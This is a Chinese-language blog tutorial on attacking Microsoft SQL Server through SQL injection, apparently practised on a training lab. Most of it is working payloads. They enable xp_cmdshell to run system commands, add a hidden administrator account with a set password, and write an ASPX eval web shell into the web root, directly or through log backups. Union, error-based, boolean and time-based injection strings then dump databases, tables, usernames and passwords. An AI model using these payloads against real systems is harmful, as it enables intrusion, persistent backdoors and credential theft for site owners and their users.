前言
前面几篇主要是关注的是Mysql这个关系型数据库,这篇主要针对的是SqlServer这个数据库的注入手法与getshell方法
SqlServer
基础
内置数据库:
- 4个系统库:
master
、model
、tempdb
和msdb
; - 2个示例库:
NorthwindTraders
和pubs
内置数据表:
- sysobjects
- syscolumns
- sys.databases
- sys.sql_logins
- information_schema.tables
- information_schema.columns
- sys.all_columns
- sys.database_principals
- sys.database_files
服务器角色:
- sysadmin等等
判断语句:
select is_srvrolemember('sysadmin')
数据库角色的判断:
select is_member('db_owner')
sql语法和mysql类似
与Mysql区别
- 没有limit 进行分页查询,但是可以使用
top 1
来显示 - 使用
\<>
来排除已经显示的数据,获取下一条数据(not equal)
判断为SqlServer数据库的方式
```
2 and exists(select * from sysobjects)
2 and exists(select count(*) from sysobjects)
返回正确为Sqlserver
```
getshell
use xp_cmdshell
条件
- 如果mssql2000中默认开启,在mssql2005之后默认禁止
- 用户具有sysadmin权限
利用
可以将 xp_cmdshell
选项开启
execute('sp_configure "xp_cmdshell", 1') # 将xp_cmdshell置为1
execute('reconfigure') # 保存配置
execute('xp_cmdshell "whoami"') # 执行命令
判断是否开启的方法
?id=2 and 1=(select count(*) from master..sysobjects where xtype = 'x' and name = 'xp_cmdshell')
之后就可以执行系统命令了
id=1;exec master.sys.xp_cmdshell 'net user admin Admin@123 /add'--+
id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+
同样也可以写入shell
1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\WWW\aufeng.aspx' ;
之后直接getshell
使用差异备份
在sqlserver里dbo和sa权限都有备份数据库权限,我们可以把数据库备份称asp文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马
条件
- 具有 db_owner权限
- 知道web目录绝对路径
利用
- 修改数据库为恢复模式
1';alter database abc set RECOVERY FULL--+
完全恢复模式是默认的恢复模式。在完全恢复模式下,需要手工的对事务日志进行管理,优点是可以恢复到数据库失败或者指定的时间点上
- 备份当前数据库日志到文件
1';backup log abc to disk=‘e:\xampp\htdocs\dvwa’ with init--+
disk是网页绝对路经
- 建立一张表和一个字段
1';create table tt(a text)--+
- 往表中插入一句话马子
1';insert into tt(a) values(’\<%eval request(“abc”) %>’)--+
values中的值也可以为hex值
- 再次备份日志
1';backup log ahykd_new to disk=‘e:\xampp\htdocs\dvwa\1.aspx'--+
- 删除表
1';drop table tt--+
其他关于getshell的方式可以看这里, 着实搞不明白了
实战
这里直接使用墨者学院的sqlserver环境测试下面的注入方式
联合查询注入
因为这里的注入方式和mysql注入方式类似,近乎差不多,就讲讲过程中,不一样的地方吧
流程都是一致的,判断注入点,字段数,回显位置,这里省略了,参考mysq就行
- 查询数据库名变为了
db_name()
* 查看所有表名:
查询用户表名:
或者使用Mysql使用 information_schema.tables
表进行查询
?id=-2 union all select top 1 1,table_name,'3',4 from information_schema.tables--+
* 获取字段名:
列名:
或者可以通过Mysql的方式
?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in
(select top 1 column_name from information_schema.columns)--+
通过这样嵌套的方式获取下一个字段,甚至下下个字段名
* 之后就是获取数据了
例子:
?id=-2 union all select 1,(select top 1 username from manage),'3',4--+
报错注入
这里不知道为什么测试没有成功,建议谨慎使用,这里直接搬的参考连接中的payload:
```
// 主要是因为MSSQL数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员sa
// 常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin
and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限dbo
and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限
// 获取所有数据库名
and (select name from master.sys.databases where database_id=1)>0--+
更改database_id的值来获取所有的数据库
// 获取数据库的个数
and 1=(select quotename(count(name)) from master.sys.databases)--+
// 一次性获取所有数据库库
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+
// 获取所有的表名
获取当前库第一个表
and 1=(select top 1 table_name from information_schema.tables)--+
获取当前库第二个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+
获取当前库第三个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+
也可通过更改top 参数获取表
and 1=(select top 1 table_name from information_schema.tables where table_name not in
(select top 5 table_name from information_schema.tables))--+
quotename和for xml path('')一次性获取全部表
and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+
quotename()的主要作用就是在存储过程中,给列名、表名等加个[]、’’等以保证sql语句能正常执行。
// 获取字段名
通过top 和 not in 获取字段
and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+
and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+
通过quotename 和 for xml path('') 获取字段
and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+
// 获取表中数据
and 1=(select quotename(username) from users for xml path(''))--+
and 1=(select quotename(password) from users for xml path(''))--+
```
布尔盲注
这里和Mysql差不多,就不多写了
同样可以通过 exists
方法进行注入
?id=2 and exists(select * from admin)
?id=2 and exists (select id from manage where len(username)=1 and ID=1)
时间盲注
也和mysql差不多,但是延迟函数变为了 waitfor delay '0:0:5'
这是延迟5秒的意思
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论